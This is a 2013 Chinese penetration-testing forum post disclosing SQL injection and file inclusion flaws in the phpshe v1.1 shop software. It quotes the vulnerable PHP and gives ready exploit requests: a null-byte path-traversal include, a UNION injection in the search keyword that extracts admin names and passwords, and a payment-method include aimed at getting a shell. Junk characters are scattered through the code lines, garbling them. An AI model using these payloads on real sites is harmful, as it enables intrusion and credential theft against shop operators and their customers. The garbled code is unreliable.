中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/3 F& {& w$ {2 `. q+ a* z) M; Z/ R
/* Phpshe v1.1 Vulnerability
9 }# N: r9 @7 h/* ========================
* Y8 s% q0 e& N0 ^/* By: : Kn1f3
, q0 [+ J7 B, s; b* R1 T0 e$ L/ n' `/* E-Mail : 681796@qq.com
2 J8 @2 V8 u9 e! C/*******************************************************/) F7 G) s+ B; `$ v( t8 z
0×00 整体大概参数传输
: `1 T* i# e2 t . O2 N" u( w* f# y' M" v; u
0 [# A$ D4 W8 L+ d% R) I7 d
+ P4 x) f% V5 T5 h" m
//common.php# Z/ q: z) |1 w- u  B& C& ]' |0 f
if (get_magic_quotes_gpc()) {2 E5 U* C9 Y$ |& M! e
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
% Q) P. m( h) |!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
( A: h6 U! [) ~2 {1 D0 z}
5 ^* D) X, |9 e! m( Q; n4 `7 j/ i( N' uelse {' Q& R. [+ a6 e, i; I3 z/ k- o4 q
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');+ i2 f  b& b& l0 x! }
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');/ T' ~9 k+ D8 m, n$ v: T9 l
}, V: G7 _$ W" Z6 D) x4 j
session_start();
& N4 H. n7 k- l9 }6 y# T  n) l!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');& `2 i- I8 |. c6 F2 `
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');4 N9 E( l* S7 v2 ^0 V8 O
, w" H9 l. \" K& k8 Q
0×01 包含漏洞
  V6 l( s. O# ]  e- s0 U, n . k: L! E* d% a. U% D$ K# ^3 @

) ?" m/ V& b( n$ _5 x//首页文件" G7 g: I0 T! Z0 ~7 g4 P1 b7 C
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);6 ]) o" G% `0 u3 V  G
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
0 G: q0 q5 {/ z4 g. G9 npe_result();
5 a* N6 Y2 z! `0 j& \?>
- w2 m5 W1 U$ G6 A" |* O% @//common 文件 第15行开始
3 \9 n2 D/ h. d; ]( G( v5 Surl路由配置
) d$ [0 J! F4 D$module = $mod = $act = 'index';
1 ?+ s- X! ^7 z! |" Z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);8 B) o# x! n2 O4 G% V
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);% D$ g$ @; ^( p1 _
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
5 ]8 k$ u1 T2 H1 M//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
. ~& V7 R5 x4 `/ `$ p

  b! e* n3 d0 U4 A+ E& ^

  x/ n" R8 Z& I: P  k# L( Q2 D 0×02 搜索注入
$ \4 L+ p& r- Y2 Q- W5 }) c2 B % D$ S  k/ z; n; `
<code id="code2">

//product.php文件
2 i% X. Q; ]4 o$ t4 W: @; Fcase 'list':8 d# k) a" V' V) b' E; U3 c
$category_id = intval($id);
& W5 `9 }# D; J" E7 c$info = $db->pe_select('category', array('category_id'=>$category_id));
7 i7 g6 ^" i7 A8 o' r//搜索) ~3 M' f, F6 }4 @. U- U  k
$sqlwhere = " and `product_state` = 1";* S! D7 A& `: d* P% f+ ?4 w) I
pe_lead('hook/category.hook.php');
1 y2 d9 n: r9 F$ n) w" qif ($category_id) {
  O: w! z  _' Dwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";& q6 I9 [$ H2 L! c2 V6 f4 C
}. I1 O+ p" P) i  A+ \
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
: n2 Y2 Z: b7 F& S6 oif ($_g_orderby) {0 z( x1 x+ N+ V$ A& l, A5 \# j' j
$orderby = explode('_', $_g_orderby);
# f3 \5 C# F& t+ ?$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";9 Z! I; ?& G8 G. A4 U' H6 \; m; c9 d
}
: Y4 ]* O+ D) _+ felse {
" f; y9 K; b) t$sqlwhere .= " order by `product_id` desc";9 M" o9 L7 ~: H0 h! A3 g
}3 E, M; f, [6 P3 E, Z6 m! l4 F" u
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));+ P0 @) R1 \. O7 D, Q
//热卖排行/ I& @/ i9 k- E' |6 @5 V
$product_hotlist = product_hotlist();
3 o# |# ?% K0 G) Y//当前路径
$ |% U; [( m# p$ }" V$nowpath = category_path($category_id);4 Q) A; R2 W7 W* I1 |$ r
$seo = pe_seo($info['category_name']);
( `1 F, R: B" v. J' |- Kinclude(pe_tpl('product_list.html'));+ I/ A$ q2 q) S+ D5 _
//跟进selectall函数库
" f$ l. J* o2 n5 M  G: [. ^3 p# q- gpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())( m+ u. K: s3 @  j' W/ G
{2 F& r4 f: `+ D; P/ ^1 z
//处理条件语句: O% R. D) _4 Y# X0 |6 j
$sqlwhere = $this->_dowhere($where);
$ _/ d5 f  z! M# t# I- v2 xreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);2 ]* @# L- t* q. H& U$ {
}. P" T3 @; o3 [, q
//exp
+ a: ?0 M$ Y' h" q$ b: Y6 Jproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1# b3 ?6 Q8 x, F7 D

</code>
; C+ Y/ m6 \9 ?- J0 u
7 b6 [) I! j% Q: H! _0×03 包含漏洞2+ D! u3 T8 H7 A7 g( E7 r
: Q3 f+ L& v3 y) n& c* N! \1 u# V
<code id="code3">

//order.php

case 'pay':


! I3 Q5 o! v/ y0 s) q( b: [# r$order_id = pe_dbhold($_g_id);

' @8 U, p- a3 \; ^7 ?
$cache_payway = cache::get('payway');


3 F  Q. Y1 M# K; T$ pforeach($cache_payway as $k => $v) {

/ q" d; W6 ?  [
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, v+ o' `5 \' t
if ($k == 'bank') {


3 w5 R3 W  W/ L9 `! b# h; V$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


4 H5 Y, ^6 g3 B}


/ w8 w" V1 x  c}

, e3 t# ^3 Z/ L* {  Y4 a* f
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

+ Q) `/ X; h5 [$ I! V
!$order['order_id'] && pe_error('订单号错误...');

9 ^0 k  d: V" R0 |
if (isset($_p_pesubmit)) {

5 E4 [! V1 S0 [4 U8 D, c1 B; ~
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

! J3 t) r) `( C" N
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


% B2 C  q, W4 w; M* cforeach ($info_list as $v) {

0 b% o, E, G; |* T$ _. Q5 w7 A! |
$order['order_name'] .= "{$v['product_name']};";. T+ q0 T0 |8 e


" _- r' G* e5 q}

' F) t. _* k. V
echo '正在为您连接支付网站，请稍后...';

! B; r3 r7 q- t6 v
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

$ |; W2 q% d( Z3 y6 \3 d
}//当一切准备好的时候就可以进行"鸡肋包含了"

/ e- k. g: X3 \# p
else {


6 w/ R! k0 O, _  @pe_error('支付错误...');


) e7 p0 O0 v: h7 `6 ^4 \/ a2 s1 t1 H3 X}

9 J5 N. Z7 G" s4 t
}


. l( L0 N5 i7 _: v, E% i$seo = pe_seo('选择支付方式');


/ W. S/ G) R+ q" minclude(pe_tpl('order_pay.html'));


# ~: l* ]/ N; D& s) r& Mbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
3 F8 Y% R/ ~2 k1 S" j0 S: \http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2